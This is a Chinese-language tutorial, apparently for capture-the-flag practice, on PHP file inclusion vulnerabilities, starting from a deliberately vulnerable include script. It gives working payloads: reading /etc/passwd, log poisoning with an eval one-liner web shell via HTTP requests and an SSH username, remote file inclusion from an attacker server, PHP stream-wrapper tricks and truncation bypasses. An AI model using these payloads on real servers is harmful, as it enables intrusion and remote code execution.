PHP 中,require/require_once
,include/include_once
这四个函数可以将外部文件(不管文件的类型)当做 PHP 脚本执行。
其中,require/require_once
如果包含过程中出错,则直接退出执行。但是 include/include_once
则只会发出警告。
_once
表示如果文件已经包含过了,则不会再次包含。
<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include $file;
?>
因为没有对要包含的 $file
进行检测,造成了任意文件读取。比如访问 ?file=/etc/passwd
可以读取敏感文件。如果 flag 在 /flag
,那么就可以用 ?file=/flag
直接读取 flag
的内容。
需要注意的是,如果文件内容有 <?php ?>
等 PHP 代码,则代码会被执行而不是直接显示。
想方设法在靶机上注入恶意代码到某个文件中,然后利用文件包含把这个文件包含,这样恶意代码就会被执行。
比如,假设服务器上有一个文件有一个 a.txt,内容是 <?php phpinfo(); ?>
,虽然这个文件是以 .txt 结尾的,但是文件包含也会把它当做 php 代码执行。
所以,文件包含漏洞的首要目的就是想方设法弄出一个文件,其中里面有恶意代码就行了。接下来从 日志文件包含、远程文件 包含两方面讲解。
将恶意代码写入到日志文件。一些软件会记录访问日志,所以我们只需要构造访问 <?php @eval($_POST[1]); ?>
使其被记录到日志中,再将这个日志文件包含,就可以执行恶意代码。
Web 服务器一般都会记录访问的链接。当我们将恶意代码放到请求的链接中时,可能会被 Web 服务器记录到日志中。这样,我们只要包含了日志文件,就可以执行恶意代码了。
例如,我们先访问 /index.php/<?php @eval($_POST[1]); ?>
,然后发现日志中被写入了一句话木马,包含即可。
注意直接用浏览器访问会进行url编码,所以要用burpsuite直接发包。
/var/log/httpd/access_log
/var/log/nginx/access.log
原理同上。SSH 日志默认的路径是 /var/log/auth.log
如果 SSH 开启了日志记录功能,我们把用户名设置成恶意的代码,这样恶意的代码就会被写于日志。
比如,我们执行 ssh “<?php @eval($_POST[1]);?>”@xx.xx.xx.xx
,这样,恶意代码就能被写入日志中。
php 中,如果设置了 allow_url_fopen=on
和 allow_url_include=on
,那么就可以包含远程文件。
我们首先在自己的服务器上新建文件 a.txt,内容是恶意代码。假设这个文件的访问路径是 http://xxx/a.txt
,这样我们包含这个链接时,就可以执行恶意代码。
PHP 带有很多内置的 URL 风格的封装协议。文件包含和文件读取时除了可以使用正常的文件名,也可以使用 PHP 伪协议,当采用 PHP 伪协议时,最终读取到的文件内容便是相应协议所产生的结果。
用 file_get_contents
是直接读取对应的值,而 include
之类的就是将对应的值当 php 代码执行了。
常见的有如下伪协议:
在设置允许的情况下,还可以用 http://,这其实和我们访问网站一样了,php 会从远程服务器读取内容并返回结果。
php://input 可以访问请求的原始数据。即没有处理过的POST请求数据。我们设置包含的文件是 php://input
,然后让 POST 请求的内容成为恶意代码。这样子恶意代码就会被文件包含当做 PHP 代码执行。
例如,执行 PHP 代码:include("php://input")
,然后 POST 的数据是 <?php phpinfo(); ?>
。首先 include
会包含对应文件的内容并当成 php 代码执行,而 php://input
这个“文件”的内容就是 POST 数据,也就是 <?php phpinfo(); ?>
,那么包含进来就会执行 phpinfo 了。
另外,如果题目有判定某个文件内容等于某个值,也可以用这个。例如题目要求 file_get_contents($_GET["file"])=='abc'
,也就是我们需要找到一个文件内容是 abc
。从真实的文件中很难找到,但是如果我们让 $_GET["file"]="php://input"
,这样子就是读取 POST 数据了,我们让 POST 数据是 abc
,就满足条件了。
php://input、php://stdin、php://memory 和 php://temp 需要开启 allow_url_include。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
例如 php://filter/read=convert.base64-encode/resource=xxx.php
得到的是 xxx.php
用 base64 编码之后的结果。
前缀名称 | 后加内容 | 描述 |
---|---|---|
resource= | 要过滤的数据流 | 指定要过滤的数据流 |
read= | 读链的筛选器列表 | 参数可选,可设定一个或者多个筛选器名称,以管道符(竖线)分隔 |
write= | 写链的筛选器列表 | 参数可选,可设定一个或者多个筛选器名称,以管道符(竖线)分隔 |
空 | 两个链的筛选器列表 | 没有用read=或者write=做前缀的筛选器列表会是轻快应用于读或者写 |
使用方法: data://text/plain;base64,xxxxx
。得到的结果是 xxxxx
经过 base64 解码之后的内容。
例如 file_get_contents("data://text/plain;base64,YWJjZGVmZw==")
的结果是 abcdefg
。
用这种方式,可以绕过一些过滤。
其余的伪协议可以参考网上教程
操作系统存在着最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面指定的后缀丢弃,导致拓展名截断。Windows下最大路径长度为256B,Linux下最大路径长度为4096B
这个漏洞的使用必须满足如下条件
magic_quotes_gpc=off
PHP版本低于5.3.4
比如如果不能使用php://input,那么可以考虑用Php://input